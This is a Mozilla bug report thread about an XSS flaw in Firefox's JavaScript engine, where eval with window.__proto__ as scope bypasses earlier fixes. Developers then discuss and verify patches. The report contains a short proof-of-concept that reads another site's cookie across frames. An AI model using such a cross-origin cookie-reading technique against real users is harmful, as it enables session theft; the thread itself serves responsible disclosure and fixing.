311892 - XSS: fixes for bug 311024 and bug 311619 can be circumvented by using window.__proto__

Status: RESOLVED FIXED

(Core :: JavaScript Engine, defect, P2)

Description

[moz_bug_r_a4]

User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050916
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20051010 Firefox/1.6a1

Please see Bug 311024, Bug 311619 and Bug 310664.

Exploit:
code in subframe:

    function a(w) {
      with (w) alert(location.href + "\ncookie: " + document.cookie);
    }
    var f = eval("(" + a.toSource() + ");", window.__proto__);

code in main:

    var x = frames[0].f;
    frames[0].location = "http://www.yahoo.com/";
    x(frames[0]);

I've tested on the hourly build 2005101002.

Reproducible: Always

Steps to Reproduce:

Comment 1

[moz_bug_r_a4]

Attachment: testcase 1 - steal cookie - eval(code, window.__proto__)

Comment 2

[moz_bug_r_a4]

Attachment: testcase 2 - steal cookie - script.exec(window.__proto__)

Comment 3

[Blake Kaplan (:mrbkap) (inactive)]

I'm looking into this. This might end up being a data: url problem (where the
data URL is exposing bad principals).

Comment 4

[moz_bug_r_a4]

(In reply to comment #3)
> I'm looking into this. This might end up being a data: url problem (where the
> data URL is exposing bad principals).

Exploits work without data: url.

Comment 5

[moz_bug_r_a4]

Attachment: iframe's content - eval(code, window.__proto__)

Comment 6

[moz_bug_r_a4]

Attachment: testcase 3 - eval(code, window.__proto__) without data: url

Comment 7

[Blake Kaplan (:mrbkap) (inactive)]

Yeah, I should have updated this bug earlier. brendan and I tracked this down
earlier and it has nothing to do with data: URIs and everything to do with eval
not checking its passed-in scopeobj if called directly. I'll have a patch tomorrow.

Comment 8

[moz_bug_r_a4]

Attachment: iframe's content - script.exec(window.__proto__)

Comment 9

[Blake Kaplan (:mrbkap) (inactive)]

*** Bug 311962 has been marked as a duplicate of this bug. ***

Comment 10

[Blake Kaplan (:mrbkap) (inactive)]

Attachment: wrong file

This is basically the patch from yesterday, but I cleaned it up a bit.

Comment 11

[Blake Kaplan (:mrbkap) (inactive)]

Comment on attachment 199183 [details] [diff] [review]
wrong file

ffs, wrong file :(

Comment 12

[Blake Kaplan (:mrbkap) (inactive)]

Attachment: possible fix

Comment 13

[Brendan Eich [:brendan]]

Comment on attachment 199184 [details] [diff] [review]
possible fix


>             callerVarObj = caller->varobj;
>             if (obj != callerVarObj) {
>                 /* Set fp->varobj too, for the compiler. */
>                 caller->varobj = fp->varobj = obj;
>                 setCallerVarObj = JS_TRUE;
>             }

This should move down too, per our face-to-face discussion.

>+    if (caller) {
>+        callerScopeChain = caller->scopeChain;
>+        if (scopeobj != callerScopeChain) {
>+            ok = CheckEvalAccess(cx, scopeobj, caller->script->principals);
>+            if (!ok)
>+                goto out;
>+
>+            scopeobj = js_NewObject(cx, &js_WithClass, scopeobj,
>+                                    callerScopeChain);
>+            if (!scopeobj) {
>+                ok = JS_FALSE;
>+                goto out;
>+            }
>+
>+            /* Set fp->scopeChain too, for the compiler. */
>+            caller->scopeChain = fp->scopeChain = scopeobj;
>+            setCallerScopeChain = JS_TRUE;
>+        }
>+    }

How about a brief comment, talking about change of scope, in addition to
indirect call, requiring this?

/be

Comment 14

[Brendan Eich [:brendan]]

Attachment: better fix mrbkap pointed out we want, and he's right!

This ought to work.  Blake will test and check into the trunk.	Thanks.

/be

Comment 15

[Blake Kaplan (:mrbkap) (inactive)]

Comment on attachment 199267 [details] [diff] [review]
better fix mrbkap pointed out we want, and he's right!

This doesn't work. Of course the script has access to window.__proto__, it
wouldn't be able to call eval with that parameter otherwise. The problem is
that searching the parent chain of window.__proto__ finds the outer window.
More thought is needed.

Comment 16

[Scott MacGregor]

Comment on attachment 199184 [details] [diff] [review]
possible fix

clearing approval flag for an obsolete patch

Comment 17

[Brendan Eich [:brendan]]

Comment on attachment 199267 [details] [diff] [review]
better fix mrbkap pointed out we want, and he's right!

Also, caller could be null.

Perhaps this is close, though.	It's moving in the right direction to separate
o.eval(s) and eval(s, o) cases.

/be

Comment 18

[Johnny Stenback (:jst)]

Blake and I talked this over and it seems like we need to make sure we never end
up with objects whose parent is an outer window to be safe against attacks like
this. The DOM objects currently parented at an outer window are
window.__proto__, window.navigator (including prototypes), and window.location
(also including prototypes). So this is getting rather messy, lots of things to
tune by hand to get all this right. Anyone have any ideas on a better approach here?

Comment 19

[Brendan Eich [:brendan]]

(In reply to comment #18)
> Anyone have any ideas on a better approach here?

No :-/.  I told blake to fix it this way originally (I warned him, but did he
listen?  Nooooooooooooo!  ;-)

Sucks.  I'll help.

/be

Comment 20

[Blake Kaplan (:mrbkap) (inactive)]

We need to make sure not to regress bug 304284 with these changes.

Comment 21

[Blake Kaplan (:mrbkap) (inactive)]

Attachment: Bah

Brendan caught me when I was hungry and suggested this. This places an
arbitrary limitation on the scope object passed to either eval() or
script.exec() that it not have an innerizable object on its proto chain. The
comment is too brief since I don't want to give too much away in it (though I'm
not sure how much we have to worry about this).

Comment 22

[Brendan Eich [:brendan]]

Comment on attachment 199494 [details] [diff] [review]
Bah

Nits: ScopeChain, not ScopeObject, and maybe common the "Script.prototype.exec"
strict into a static const char [] explicitly?

/be

Comment 23

[Blake Kaplan (:mrbkap) (inactive)]

Fix checked into trunk.

Comment 24

[Blake Kaplan (:mrbkap) (inactive)]

Comment on attachment 199494 [details] [diff] [review]
Bah

This patch fixes a security bug by disallowing bad scoped objects from being
passed into eval.

Comment 25

[Blake Kaplan (:mrbkap) (inactive)]

Comment on attachment 199494 [details] [diff] [review]
Bah

Actually, I'm going to roll this into my monster "security fixer" branch patch.

Comment 26

[Blake Kaplan (:mrbkap) (inactive)]

Checked in on MOZILLA_1_8_BRANCH.

Comment 27

[Bob Clary [:bc] (inactive)]

tested with firefox 1.5 rc2 on winxp/linux
testcase 1: pass
testcase 2: pass
testcase 3: pass

Comment 28

[Bob Clary [:bc] (inactive)]

Attachment: test.*.com/tests/mozilla.org/security/311892.zip

moz_bug_r_a4's tests.

Comment 29

[Daniel Veditz [:dveditz]]

Fixed on the aviary1.0/mozilla1.7 branches by the split-window alternative (bug 316589)

Comment 30

[Jay Patel [:jay]]

v.fixed on 1.0.1 Aviary branch with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060215 Firefox/1.0.8, all 3 testcases pass.

Comment 31

[Bob Clary [:bc] (inactive)]

v ff on 1.7.13 windows/mac 20060221 builds, moz on 1.7.13 windows 20060221